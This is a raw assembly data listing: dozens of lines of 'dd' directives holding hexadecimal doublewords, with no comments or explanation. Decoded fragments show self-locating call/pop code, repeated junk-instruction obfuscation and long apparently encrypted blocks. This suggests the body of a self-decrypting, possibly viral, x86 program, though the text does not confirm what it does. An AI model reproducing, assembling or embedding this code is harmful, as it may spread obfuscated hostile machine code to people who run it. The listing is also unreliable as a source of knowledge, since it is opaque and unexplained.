		dd 5101D935h, 0EF4B28C8h, 0ACF7211Bh, 5BCC606Dh, 0AC4F7875h
		dd 0A270ED65h, 45E97BB4h, 8E3C2D0Bh, 3E9A7157h,	0FDCC8244h
		dd 6AAABB58h, 0D0361D6Bh, 70F61C8h, 2B599159h, 0CACD9B7Dh
		dd 0CE8h, 99F22C00h, 0D505F32Fh, 642C61A7h, 58F38ADCh
		dd 3D9D3360h, 6005E706h, 714DC181h, 0D081512Ch,	7B0E8657h
		dd 0C0816161h, 734Ch, 6E9h, 1424FC00h, 0BFBB40B7h, 0
		dd 8BD2B70Fh, 0BE66380Ch, 0E981861Fh, 6F3E2BA1h, 1BC1958Bh
		dd 0C18105E7h, 15DC1D61h, 81F38B66h, 191AA6C1h,	49B52B5Fh
		dd 8905E725h, 0C1B2380Ch, 25AD8531h, 0EF8105E7h, 60ADEB6Fh
		dd 163D381h, 0C7814F01h, 60ADEB6Bh, 27019501h, 0FF8105E7h
		dd 0FFFF8D48h, 0FFA9850Fh, 8B66FFFFh, 6E8F3h, 0DBFD0000h
		dd 0F0450C55h, 26059589h, 8B5E05E7h, 0E72F4185h, 0B6C68105h
		dd 8B000069h, 0E7042185h, 1A4FBF05h, 0EC800000h, 8136FFE3h
		dd 367BE8EAh, 0B5895B3Ch, 5E720A5h, 0F290F381h,	81F90CF1h
		dd 0D8DD34C3h, 0EB81F864h, 5D7B93C6h, 0CE91E89h, 0E000000h
		dd 0C576C0FAh, 80629C74h, 83549A67h, 8D8904EEh,	5E72DD9h
		dd 1EF81h, 850F0000h, 0FFFFFFB5h, 6860Fh, 858B0000h, 5E7273Dh
		dd 10E8h, 0ED688900h, 0C5FFABF5h, 5198C2B3h, 1C0C3661h
		dd 0BD295A6Bh, 5E72481h, 75DEC281h, 858B0000h, 5E730B1h
		dd 9D09F633h, 5E70E89h,	8B323C8Bh, 0E732458Dh, 8FF78105h
		dd 8B763F42h, 0E71D0D8Dh, 0F9EF8105h, 894A587Fh, 0E70F69B5h
		dd 0FEF8105h, 0B86ACD8Bh, 2E60D42Bh, 0E9323C89h, 0Ah, 514ADDE5h
		dd 6C57E343h, 95290CEAh, 5E71475h, 2901EE83h, 0E70E95BDh
		dd 4E4E4E05h, 1BC9BD89h, 0FE8105E7h, 0FFFF8AF0h, 28850Fh
		dd 11E90000h, 76000000h, 905A9309h, 75E63C45h, 0E51BF325h
		dd 674B2013h, 2AE9h, 6549B900h,	503811F8h, 0A13CCE0Bh
		dd 0B966EE1Ch, 6DE9BA17h, 0BEFFFFFFh, 19B73336h, 0E0A0E0C8h
		dd 75DA91C8h, 52C57CE1h, 0E8B96B56h, 0Ah, 0D5CBDF45h, 0A55154CDh
		dd 0B5017899h, 5E72041h, 0ADB5895Eh, 8105E70Bh,	61FAC6h
		dd 0BAC28B00h, 0
		dd 12E9h, 0B17F4E00h, 9E2C931Bh, 831ABDC9h, 0E43CE3FAh
		dd 0FFCDF19Eh, 2FBB3234h, 596C910Fh, 9CD08057h,	4DF1815Fh
		dd 80555B63h, 0C1814FC3h, 35270D0Dh, 0E91BD8Bh,	0C18105E7h
		dd 59223272h, 2271B589h, 815105E7h, 3C82CBD0h, 16048F4Ch
		dd 6E9h, 1ABE8B00h, 0B88678C6h,	3E5DF2FFh, 0CEB5EA81h
		dd 95296D62h, 5E71321h,	0CEB1C281h, 9D096D62h, 5E70D8Dh
		dd 9EACFA81h, 850FFFFFh, 0FFFFFF93h, 0C08BC18Bh, 0D79BD83h
		dd 750005E7h, 15BD8309h, 5E71Ch, 53501974h, 21B8C08Bh
		dd 89000004h, 0E713D585h, 349D8D05h, 0FF05E9AAh, 83585BD3h
		dd 0E71C15BDh, 17740005h, 21B85350h, 89000004h,	0E713D585h
		dd 239D8D05h, 0FF05E9A7h, 8B585BD3h, 9D9D8BC0h,	0C605E704h
		dd 0E707F985h, 52685605h, 0FF9CA8B8h, 0E72DC5B5h, 63858D05h
		dd 0FF05EA79h, 68046AD0h, 1000h, 1361B5FFh, 6A05E7h, 0C085D0FFh
		dd 0D850Fh, 0B80000h, 8D000000h, 0E771898Dh, 8BE1FF05h
		dd 3C38BC8h, 0F8053C40h, 8B000000h, 0D3030C50h,	0B81BD83h
		dd 0F0005E7h, 0E84h, 819D8B00h,	8B05E70Bh, 0E7021D85h
		dd 51038905h, 68858D52h, 0FF05E742h, 8BFA8BD0h,	8BD18BF1h
		dd 0C6A4F3C8h, 0E707F985h, 39685605h, 0FFD41F6Dh, 0E72DC5B5h
		dd 63858D05h, 0FF05EA79h, 800068D0h, 6A0000h, 8BD0FF52h
		dd 79BD83C0h, 5E70Dh, 0BD830975h, 5E71C15h, 50197400h
		dd 0B8C08B53h, 421h, 0F2D8589h,	9D8D05E7h, 5E9AA9Bh, 585BD3FFh
		dd 1C15BD83h, 740005E7h, 0B8535017h, 421h, 0F2D8589h, 9D8D05E7h
		dd 5E9A73Ch, 585BD3FFh,	9D8DC08Bh, 5E70B81h, 0C00B038Bh
		dd 7840Fh, 38B0000h, 89045B8Bh,	4B41B818h, 0CAFE0000h
		dd 0A80B08DCh, 8A4F8153h, 0A80B091Bh, 75EAD5ABh, 0A80B09F3h
		dd 8A4F8659h, 57AE5DBAh, 8A4F8636h, 0A80B0EE3h,	75EAD5ABh
		dd 0A80B0EAAh, 8A4F8764h, 0A80B0F34h, 8A4F87E6h, 0A80B0FAEh
		dd 75EAD5ABh, 0B0D42F25h, 310C79Ch, 45974DC0h, 0C90A751h
		dd 21544F8Dh, 67D3D9D1h, 75D42F40h, 310C79Ch, 459755C0h
		dd 0BF90A751h, 21544F8Ch, 67D3D5D1h, 24D42F40h,	310C79Dh
		dd 4596A1C0h, 6B90A751h, 21544F8Ch, 67D221D1h, 8DD42F40h
		dd 310C79Eh, 4596ADC0h,	0E490A751h, 21544F8Fh, 67D23DD1h
		dd 7D42F40h, 310C79Eh, 4596B9C0h, 7A90A751h, 21544F8Fh
		dd 67D235D1h, 99D42F40h, 310C79Fh, 459681C0h, 0E090A751h
		dd 21544F8Eh, 67D20DD1h, 12B8C340h, 0DF152A50h,	6CD24ECEh
		dd 8AFD4AA8h, 0F251A245h, 4DC7C0D5h, 0ED96A7A8h, 8A152AA8h
		dd 0A0242945h, 0B496E367h, 0A1D5ADBAh, 0CB152A54h, 415564C6h
		dd 75EAD5BAh, 3AAE63CEh, 8FF22619h, 0AB534284h,	0FFEA2211h
		dd 0A4245D55h, 0CF9C3AABh, 0EDDAC3B9h, 86D7E3A8h, 44DAF745h
		dd 0EAE9EED7h, 2359D7CEh, 0CFD22629h, 0A851A2B9h, 62AD6C54h
		dd 351A241h, 27BFEA66h,	0EBDB2FEEh, 7510C7B8h, 2011294h
		dd 6656A0D9h, 79AEA7A8h, 0AE51A1ECh, 22DC0941h,	8FF8C617h
		dd 103773BAh, 21732ADFh, 441228C8h, 5BEA2FB9h, 8C152BFDh
		dd 988150h, 0ADBC4E06h,	0D2A5FBABh, 0A42C89EFh,	0EBE957DDh
		dd 61ADE7CEh, 0DF152296h, 6CD24ECEh, 8AFD4AA8h,	0F251A245h
		dd 4287C0D5h, 0DDDAA7A8h, 8668A15Ch, 0A8ADE782h, 0CC152A54h
		dd 994430BAh, 529E2FB3h, 83FC69CEh, 0E2A5B997h,	0F9FA31EFh
		dd 6656A0D9h, 79AEA7A8h, 20949A0Dh, 8C551A23h, 21848132h
		dd 215DDF6Eh, 174D629h,	6A985E00h, 1402A5Ch, 549521A9h
		dd 8A15C234h, 290BA245h, 67DDC3BEh, 0A0242940h,	4D1957DFh
		dd 0A8515E00h, 75532A54h, 4F60B7D7h, 19CDA151h,	9BFC69CEh
		dd 0E2A5B997h, 0F9FA31EFh, 6656A0D9h, 79AEA7A8h, 20949A0Dh
		dd 8C651A23h, 21848132h, 215DDF6Eh, 174D629h, 6A985E00h
		dd 1402A5Ch, 549521A9h,	8260A134h, 6F5DDFCEh, 8A15D611h
		dd 3BFDA245h, 0B91DC995h, 4919197h, 4A38F2DEh, 2851A245h
		dd 0E1AD5A8h, 0A851A25Eh, 8A1523EDh, 2DA05545h,	86902586h
		dd 2851A245h, 4B7332A3h, 2337AA8Eh, 0A1BE4C97h,	0D5D8AE38h
		dd 0CF9E4BA8h, 0A0936BB9h, 669E7F54h, 0C8AD66C6h, 11D5FDFh
		dd 0ED96AE38h, 8A152AA8h, 69C20E45h, 582622B7h,	22FD6276h
		dd 8AD5078Ch, 54D1A245h, 939125ABh, 1151A245h, 8A152A5Dh
		dd 7AD453B2h, 8A1FAF5Bh, 10E0A245h, 4B93E256h, 39191EFh
		dd 319577Fh, 23305E38h,	48DCD611h, 2304A24Dh, 76D1A9B8h
		dd 0A0242925h, 4D1957DFh, 0A8515E00h, 0B92A54h,	0A7B2229Dh
		dd 85E1D4h, 22DC0886h, 8FF8C617h, 0F8E173BAh, 0C99FA7FEh
		dd 57544FA9h, 20D6A085h, 215DDF6Eh, 174D629h, 6A985E00h
		dd 1402A5Ch, 549521A9h,	8260A134h, 6F5DDFCEh, 8A15D611h
		dd 0AFE9A245h, 75152A54h, 4F5DEFD7h, 20452651h,	441228C8h
		dd 5BEA2FB9h, 9BFB2BF5h, 85318694h, 0AC59622Eh,	0AEA58050h
		dd 0A42C89EFh, 0EBE957DDh, 61ADE7CEh, 0DF152296h, 6CD24ECEh
		dd 0FF9E4AA8h, 0A42C294Dh, 8AE96F93h, 451A245h,	9F87D5FEh
		dd 23544574h, 4917868Ch, 0EBDB2FEFh, 7510C7B8h,	28E9C494h
		dd 0BE4CBDh, 0D57A0886h, 7668A358h, 54142924h, 8A1DE89Dh
		dd 2BBD2910h, 175D690h,	0D5DAAA30h, 7650ED58h, 0A851A245h
		dd 18EA80F8h, 0ADB69350h, 58B9E2DFh, 32DC0885h,	8FF8C617h
		dd 103771BAh, 2173E394h, 83FB63CFh, 0F79C2629h,	0EDDAC3B9h
		dd 82D7E3A8h, 44DAF745h, 0EAE9EED7h, 2359D7CEh,	0CFD22629h
		dd 0A851A2B9h, 75BF8654h, 4F60B7D7h, 26DDA151h,	25FB6377h
		dd 67F969CEh, 0CE825D40h, 0ECE4AAECh, 29028EEh,	319577Fh
		dd 23305E38h, 48DCD611h, 2304A24Dh, 76D1A9B8h, 0A0242925h
		dd 4D1957DFh, 0A8515E00h, 32732A54h, 3376B77h, 6656B0D9h
		dd 7BAEA7A8h, 4B959232h, 4FD0923h, 866801FEh, 0C9ADDFCCh
		dd 43E96FDFh, 0FD51AA87h, 4E96C6DFh, 0DDDAC2B9h, 8668A15Ch
		dd 0A8ADE782h, 0EC152A54h, 0CEB824FDh, 0C98FA7FFh, 57544FA9h
		dd 20A09A87h, 25FB0E03h, 67F969CEh, 0CE825D40h,	0ECD8ACECh
		dd 0A42C89EEh, 0EBE957DDh, 61ADE7CEh, 0DF152296h, 6CD24ECEh
		dd 8AFD4AA8h, 0F251A245h, 41AFC0D5h, 0ED96A7A8h, 8A152AA8h
		dd 0A0242945h, 261957DFh, 2C5E9179h, 8A152A1Eh,	2C5E8979h
		dd 8A152A16h, 2C5ECA79h, 8A152A49h, 2C5E1379h, 8A152A38h
		dd 2A5EF279h, 8A152A5Ch, 2A5EFA79h, 8A152A6Bh, 0A851D6ACh
		dd 8660D554h, 2559D7BAh, 67D3C5CEh, 32DCF140h, 8FF8ED92h
		dd 0EDD871BAh, 8A42C3A8h, 0DDAEA245h, 8260D558h, 6EAE38C8h
		dd 7462FB9h, 459664DFh,	3C6D551h, 92B85E00h, 75152A54h
		dd 0DDAEAE30h, 818FA75Ch, 0FB544F82h, 4DD3B0D9h, 7BAEA7A8h
		dd 63E96FDDh, 0A851A258h, 75195FABh, 32DCAA30h,	8FF8ED43h
		dd 6ECB2F16h, 7510C793h, 54142B96h, 8A152ABDh, 0EDDAC345h
		dd 82D7E3A8h, 3044BA45h, 9D8D0000h, 5E71615h, 1434B8h
		dd 0D5858900h, 0E805E729h, 0
		dd 0D0558h, 3890000h, 1434E9h, 50Dh dup(0)
		dd 2AE900h, 4C70000h, 24h, 0E800h, 815D0000h, 0EDE0EDEDh
		dd 24448B05h, 0A9858904h, 0B805E706h, 0
		dd 4DFA8D8Dh, 0E1FF05E7h, 6754B8h, 0FE8D8D00h, 6A05EDE1h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 19042444h
		dd 46000000h, 4461C356h, 36BD8D6Fh, 0B5A8CA81h,	8D89065Fh
		dd 5E72315h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 1Bh,	0E8C35545h, 14F799AAh, 0C79006F8h, 0E708B985h
		dd 6E5005h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1C04h, 0C3524200h, 0F6C6507Dh, 29887941h, 9985C7B2h
		dd 5E70Ch, 0F5000000h, 2AB1B5FFh, 6A05E7h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1A0424h, 50400000h, 80D4ACC3h
		dd 0C88E6D9h, 0AE8h, 0E8AED300h, 5DFD1B6Bh, 8B079641h
		dd 0E72DA99Dh, 0B70F5A05h, 0CD95FFDFh, 0E805E732h, 0Ah
		dd 0A89B5208h, 7BE7F0D6h, 5AFCFC52h, 95FF006Ah,	5E71A1Dh
		dd 0AEBC08Bh, 53441502h, 72FDAE0Eh, 16EB30B1h, 5 dup(0)
		dd 3C80101h, 5ED0000h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 15h, 45C35343h, 11E95039h,	0B000000h, 0BAF2BF4Ah
		dd 50A7CE44h, 744458E0h, 8B1270FDh, 0B9240489h,	5248821Bh
		dd 4787D981h, 6A50A7h, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 19h, 86C35141h, 9C3E22CBh,	0CEB70F2Ch, 0B589006Ah
		dd 5E701EDh, 0E37A858Dh, 8B6605EDh, 9E990DAh, 0DD000000h
		dd 4B1EFCC3h, 0B2234DD5h, 11830F50h, 60000000h,	28F555BBh
		dd 5E929h, 637A0000h, 61336C8Eh, 53006A90h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1404h,	0C3534300h, 68D0FCAh, 29000000h
		dd 0E713D995h, 6A006A05h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 16042444h, 42000000h, 4E3C352h, 0CF81667Eh
		dd 880FFA33h, 0
		dd 0BF0F006Ah, 0C595FFCAh, 6A05E702h, 3E85200h,	20000000h
		dd 895AC35Ah, 81042454h, 16042444h, 42000000h, 0E350C352h
		dd 0E9B7B5D2h, 57Ah, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 17h, 8BC35141h, 0E9EDD77Ch, 7, 0EDBA55D1h
		dd 0E8F3213Fh, 0
		dd 7FED815Dh, 3105EDE3h, 0E7172D95h, 13E905h, 5890000h
		dd 0FA68F83h, 2944BB72h, 0A6357056h, 338FB6F5h,	1DB5013Eh
		dd 0E805E71Ch, 4, 0FA0h, 8BF2B550h, 51042444h, 5BCB8B66h
		dd 6656008Bh, 5B97E5BBh, 4244489h, 14E9h, 68980300h, 0E40EE9D2h
		dd 0C7033C10h, 5927DC0h, 0CFCB095Eh, 95FF5897h,	5E71A1Dh
		dd 1231B531h, 0B58D05E7h, 5EDE20Fh, 0E855006Ah,	3, 5DC35D20h
		dd 4246C89h, 4244481h, 16h, 0EC35545h, 8B66A523h, 91B589D1h
		dd 0C705E71Fh, 67655206h, 61B9666Dh, 446C73Ch, 6C636E6Fh
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 18h, 0A5C35646h
		dd 90C68246h, 610846C7h, 29007373h, 0E72BF99Dh,	0F5B50105h
		dd 6A05E71Bh, 7B35600h,	0F858D5Fh, 6A05EDE2h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1B042444h, 41000000h
		dd 16A8C351h, 0B37AA0BAh, 0EE90089h, 0D2000000h, 0AC2D3B60h
		dd 0A88A3DC3h, 49C28ACFh, 21B58958h, 9005E71Bh,	0DE9h
		dd 82384300h, 0EDA22B38h, 625408F7h, 0B150F048h, 0BF669040h
		dd 95FF3858h, 5E72DF1h,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 17h, 0CDC35040h, 0BC3368Eh, 4B840FC0h, 6A000000h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 16042444h
		dd 47000000h, 5E63C357h, 361E99Fh, 6A0000h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1A0424h, 50400000h, 0FFFA67C3h
		dd 28ACE45Ah, 3DD6F181h, 0A168013Ah, 66396915h,	815ACABFh
		dd 148D2434h, 958B3969h, 5E7310Dh, 1A1D95FFh, 0BD3305E7h
		dd 5E703D9h, 0E20FB58Dh, 0F18105EDh, 640C2FAh, 383106C7h
		dd 6A3634h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h
		dd 55450000h, 94A612C3h, 0DEDC176Bh, 446C710h, 31342D37h
		dd 0B902B966h, 846C7h, 52000000h, 1418D29h, 6A5905E7h
		dd 51006A00h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1A04h
		dd 0C3514100h, 0EB92731Ch, 89AC3C6Bh, 0E730C9B5h, 0F858D05h
		dd 6605EDE2h, 5750D78Bh, 310F5250h, 840Fh, 585A0000h, 24048959h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 30C35343h
		dd 0B18D893Fh, 8B05E701h, 0E72D5D9Dh, 0F195FF05h, 6A05E72Dh
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1A042444h
		dd 42000000h, 8C45C352h, 566057E7h, 0D3BF0F29h,	840FC00Bh
		dd 28h,	0CE8h, 0ADB96400h, 2847A9E4h, 0B436D9F0h, 41BD8B2Fh
		dd 5905E702h, 20AE9h, 0DA816600h, 952BF5E8h, 5E71571h
		dd 4E8h, 12C00h, 50F88B00h, 448B81B3h, 60600424h, 66616160h
		dd 61B098BBh, 0CA8B008Bh, 4244489h, 0C92BB66h, 57006A58h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1804h, 0C3574700h
		dd 0E2468533h, 1D95FF21h, 8005E71Ah, 0B58D88D3h, 5EDE20Fh
		dd 2249BD89h, 6C705E7h,	656C6946h, 0B2F9B70Fh, 446C772h
		dd 636E6F6Dh, 0E850006Ah, 3, 58C35820h,	4244489h, 4244481h
		dd 1Dh,	33C35040h, 49BA29C0h, 0BAA70860h, 10E827h, 0C6A30000h
		dd 0EF065117h, 9CC805ACh, 327FB976h, 8D89ADA4h,	5E72ECDh
		dd 846C75Bh, 7373616Ch,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 1Dh, 0EFC35747h, 68122787h, 0BB8AEE0Ch, 0FE88AFCh
		dd 46C7FEBFh, 0Ch, 53006A00h, 3E8h, 0C35B2000h,	245C895Bh
		dd 24448104h, 1404h, 0C3534300h, 952B5286h, 5E71369h, 66006A5Ah
		dd 858DFB8Bh, 5EDE20Fh,	1B598531h, 0F9005E7h, 1389h, 0EE900h
		dd 0F6C20000h, 0CCDD5F65h, 0EC2B2286h, 70B8FF28h, 0DE850h
		dd 38F50000h, 2DCF4174h, 0C6DD09F8h, 66132FB9h,	5F58D5B9h
		dd 56006A90h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1B04h
		dd 0C3564600h, 2BAAC285h, 0F0E02B4h, 2DF195FFh,	6A05E7h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h, 51410000h
		dd 74A9F3C3h, 6890F40h,	8B000000h, 0E71AE9BDh, 0FC00B05h
		dd 4784h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1904h, 0C3554500h, 0EA86C438h, 0BD890A6Eh, 5E716C1h
		dd 2C9BD33h, 0AE905E7h,	0A6000000h, 0BA010015h,	3D4AD1F1h
		dd 11E98Bh, 95090000h, 5E725ADh, 0FFFB0AE9h, 0C8D181FFh
		dd 8D5A03C6h, 0E77189B5h, 52006A05h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1804h,	0C3524200h, 5F4E4D8Eh
		dd 0B8D88B8Ch, 0
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 16C35747h
		dd 953386A0h, 5E7064Dh,	0C18BE6FFh, 0DE8h, 9DCABB00h, 0DBA38E90h
		dd 3250583h, 8B66C2BEh,	81665FC2h, 810082E9h, 617FC7h
		dd 6800h, 9D090000h, 5E704C9h, 8BF38B5Ah, 0C38B171Ch, 9CA8EB81h
		dd 0B58B284Ch, 5E70579h, 0F5C4EB81h, 858B3F4Bh,	5E7204Dh
		dd 0F3F6EB81h, 0B58B78D9h, 5E704F1h, 0BE171C89h, 2955EEF1h
		dd 1BE59589h, 0EA8105E7h, 4B700DAAh, 10E8h, 1D524200h
		dd 0BC7C4D7h, 0DEE107A7h, 0F0001E83h, 10E861h, 0DBFA0000h
		dd 181AD098h, 31971FC7h, 3881ECF2h, 13E948A0h, 0F2000000h
		dd 0C17DE923h, 21DC7047h, 654C7CF2h, 574AB34Dh,	595EB58Dh
		dd 0DA6C281h, 0BD894B70h, 5E71B59h, 9F44FA81h, 850FFFFFh
		dd 0FFFFFF67h, 0F7B0B866h, 3BE9h, 0BD8B6000h, 5E72C35h
		dd 3304EF83h, 0BBC18BC9h, 0EDB88320h, 0BE04C783h, 8, 0D21BE8D1h
		dd 0C233D323h, 0F1850F4Eh, 41FFFFFFh, 0F9810789h, 100h
		dd 0FFD3820Fh, 0C361FFFFh, 11E8C88Bh, 0E7000000h, 66D1D577h
		dd 0F7C10DC2h, 0C75CA0CCh, 55A870D3h, 330DBD29h, 0F5B05E7h
		dd 282h, 81D68B00h, 5FC7C3h, 0BD8D3100h, 0BE05E71Ah, 17C6h
		dd 5FC28166h, 0E8038B73h, 5, 1660179Fh,	90CEBAC2h, 815915ADh
		dd 27CFD8E8h, 8113B26Ah, 0C960A1F0h, 0E0F08147h, 813BD79Ch
		dd 0A58D1EE1h, 0BA038929h, 0BB95133h, 4B01EB83h, 8C0F4B4Bh
		dd 6, 5019D89h,	0EE8105E7h, 1, 1B850Fh,	81660000h, 0E91CF5E2h
		dd 22h,	59CBB35Ch, 0F186BD9Dh, 692BB5C5h, 4979305Bh, 0FF8FE925h
		dd 193AFFFFh, 822CD7B5h, 1707BDA4h, 0ED558C98h,	7A5E75FDh
		dd 69A476F6h, 49BC56E6h, 201A35FDh, 2035ABFDh, 2022E8FDh
		dd 20B64EFDh, 207338FDh, 209116FDh, 20E0FFFDh, 2058DCFDh
		dd 2004CBFDh, 2035F6FDh, 2022CFFDh, 20A820FDh, 20738DFDh
		dd 208E62FDh, 20FF4FFDh, 20460BFDh, 201A5FFDh, 8A259DFDh
		dd 0A2229535h, 714A76D6h, 4BBD5CDEh, 7A5A5CF4h,	722775FDh
		dd 799775F5h, 78CB74FDh, 7DED73FDh, 7BF374F5h, 7B7874FCh
		dd 7ABC75FCh, 7A5E75FDh, 300276FDh, 30CA75A7h, 7ACB75A7h
		dd 7BE475FDh, 7BF374FCh, 0B29074FCh, 1ABC75F8h,	94F7F070h
		dd 0FFA67010h, 7F7A9F1Dh, 9474F070h, 0FF6C7010h, 7F1F9F5Dh
		dd 9484F070h, 0FF357010h, 7FB39F21h, 9472F070h,	0FF1E7010h
		dd 7F269F59h, 94F9F070h, 0FF7B7010h, 7F949F55h,	9606F070h
		dd 0FFD77010h, 7FC29F51h, 965BF070h, 0FF427010h, 7F089F4Dh
		dd 9610F070h, 0FFF07010h, 7F519F49h, 9763F070h,	0FFA67010h
		dd 7F7A9F3Dh, 97C2F070h, 0FF6C7010h, 7F1F9F45h,	9751F070h
		dd 0FF357010h, 7FB39F41h, 9712F070h, 0FF1E7010h, 7F269F3Dh
		dd 9792F070h, 0FF7B7010h, 7F949F2Dh, 972AF070h,	0FFD77010h
		dd 7FC29F29h, 972EF070h, 0FF427010h, 7F089F25h,	94F0F070h
		dd 0FFF07010h, 7F519F39h, 9467F070h, 0FFA67010h, 7F7A9F35h
		dd 941FF070h, 0FF6C7010h, 7F1F9F31h, 4B6CF076h,	0FF35701Ah
		dd 7FB39EE4h, 7662F076h, 0FF1E701Ah, 7F269EE0h,	0F1B0B69Ch
		dd 7AF29D11h, 0FB2375FDh, 97505817h, 3FD525F8h,	62ADFDF5h
		dd 22929816h, 7ACFB734h, 29B723ACh, 7A1A20ADh, 277975FDh
		dd 96F2987Ch, 0FFA07010h, 7FC29F62h, 9008C87Dh,	9CF7010h
		dd 75E4C5B4h, 0BAF9B54Bh, 0EF863589h, 7F519EE0h, 2B96FEBDh
		dd 7A2F7A45h, 67028AFDh, 0F7CE9816h, 970FD548h,	0FCC6F8F8h
		dd 7E4B9D50h, 6FCF75FDh, 7A5E7645h, 67BA8AFDh, 0F7929816h
		dd 9721D548h, 0FCD1F8F8h, 23228A50h, 0F787BC1Fh, 7F519F62h
		dd 20052DA0h, 92EC2CA3h, 7A97776Dh, 79C1CD4Dh, 63708A57h
		dd 0D1F79816h, 78079D3Eh, 0C2DA75FDh, 5954CD9Bh, 0EFD0DE9Bh
		dd 7F7A9EE4h, 9208DE9Bh, 7AE57795h, 72F3360Bh, 0EF866E88h
		dd 7F519EE4h, 7954C54Dh, 63BA8AADh, 20929816h, 7E2BF69Bh
		dd 1C277E9Bh, 6B1AB656h, 297975FFh, 7ABE4E15h, 0A0652FFDh
		dd 59A57B89h, 7094913Dh, 0BA07F5DFh, 0D183FE4Dh, 7B009D3Eh
		dd 922A75FDh, 7ABC77E1h, 0E844EA7h, 0D049C512h,	0A77FA916h
		dd 8CCB75FCh, 0FED74BEh, 7B1A26D3h, 207975FFh, 72BD360Bh
		dd 0A0655488h, 59A56889h, 7094913Dh, 0BA07F5DFh, 85B5FF4Dh
		dd 97196C68h, 5F1F2FF8h, 71DA51FDh, 0B9F5133Fh,	9285E94Dh
		dd 7A9774BDh, 9261F44Dh, 7AE57435h, 7AF22D15h, 5791DEFDh
		dd 0CABC75FCh, 0CA9DDF60h, 5BC7DF61h, 1C9775FCh, 1C4A1345h
		dd 7B439D56h, 4C1A75FDh, 1C7975FDh, 7BB69D56h, 0E7EE75FDh
		dd 0E69FB657h, 7A699D57h, 0F32375FDh, 8CE575FCh, 0FFA74BEh
		dd 0D0F9C5F2h, 7ABC6515h, 9EDEDFFDh, 84487DF9h,	7A97AA15h
		dd 0D056C5FDh, 7AE2CD3Eh, 0EF0D75FDh, 7F949EE0h, 9058C070h
		dd 8A5D7010h, 0D02C7F51h, 918EE002h, 92087010h,	7AE574E5h
		dd 79F8254Dh, 844B9D57h, 43548A02h, 0CA5E75FCh,	0D02C7FA5h
		dd 0D0C7C53Eh, 9261274Dh, 851A8BE1h, 4BFDCD9Bh,	6B91DE9Bh
		dd 0CA438A03h, 22EEDFA7h, 929FB657h, 923C2257h,	7ACB750Ch
		dd 5122FEA7h, 7E1AF63Fh, 8B917774h, 92438A00h, 7A5E7505h
		dd 79252D4Dh, 0FF69B657h, 7F269F6Bh, 9073C87Dh,	0FF37010h
		dd 72FCF8ECh, 2AB99816h, 7A5C6115h, 781B9DFDh, 1A2775FDh
		dd 87759D57h, 0C30D8A02h, 0CA0D8A00h, 0F787DF9Ch, 7F519F6Bh
		dd 90C8C87Dh, 0F2F7010h, 7212F8F1h, 2ACE9816h, 7AE4DE15h
		dd 7E4AB6FDh, 857975FDh, 97576868h, 1FC3F8F8h, 0F02A9812h
		dd 0B93D6DF9h, 2D619C4Dh, 7A8E9D56h, 0F1A875FDh, 0F9BB5E3Ah
		dd 78357115h, 63CB8A3Eh, 0CE2A9816h, 0E96514Ah,	0CA74C1FFh
		dd 924E13F2h, 7AF275C9h, 7A279DAEh, 0F0E675FDh,	79BEB5FEh
		dd 7825B5F1h, 0EF68B657h, 7F269EE4h, 0FAEA917Dh, 7542F539h
		dd 0D12EDE9Bh, 85415A15h, 0BDD52F02h, 92ACB7D6h, 0B995FCF9h
		dd 7ACB7345h, 67708AFDh, 0F7F79816h, 97938960h,	39A0F8F8h
		dd 7A4ECD3Eh, 0EFD075FDh, 7F7A9EE0h, 0F1CEB57Eh, 0EF1A8935h
		dd 7F1F9EE4h, 0B98E9757h, 8543BE15h, 7B1DFF02h,	8E5A72D9h
		dd 6C7F7677h, 8CB75FCh,	831DB616h, 0F1A78908h, 86BDF611h
		dd 7ABC9D9Dh, 0FB0475FDh, 97C00017h, 86EAFCF8h,	91D3CF7Dh
		dd 75E57010h, 7AF2EC79h, 7A73CDFDh, 0E84375FDh,	7FB39EE0h
		dd 5BADFCBDh, 0F1929816h, 3379F835h, 85E0980Dh,	97196C6Fh
		dd 3C7FFDF8h, 6D04801Fh, 795E75FDh, 97C4547Fh, 0E01A35F8h
		dd 7F2685C0h, 0F3E1B67Eh, 644B22FEh, 797975FDh,	97575477h
		dd 51ECF8F8h, 892A980Dh, 722F2B59h, 85CB75FDh, 970E686Fh
		dd 7E0AF6F8h, 7C718589h, 7ABC7244h, 4B5A7DFDh, 0BBF7C3F2h
		dd 742E761Eh, 72CB75FDh, 765C44E1h, 72F275FDh, 61C044F9h
		dd 72BC75FDh, 66E744F9h, 722F75FDh, 5B7F44F9h, 0F3348A01h
		dd 0F1848980h, 0B93B8980h, 7A7F9DADh, 229C75FDh, 8E7A1102h
		dd 5E6BFCA5h, 3E16E905h, 2CB389D9h, 3A7867C9h, 7AF2B6ADh
		dd 7A7975FDh, 7ABC75FDh, 1AB2FEA8h, 7A2F7515h, 90162FFDh
		dd 7F2685A1h, 91C0CF70h, 0F797010h, 7A71CCF5h, 0DE4F75FDh
		dd 7E9CBC9Ch, 0E7A226FDh, 7F7A9ED8h, 7BD3497Dh,	83BE7188h
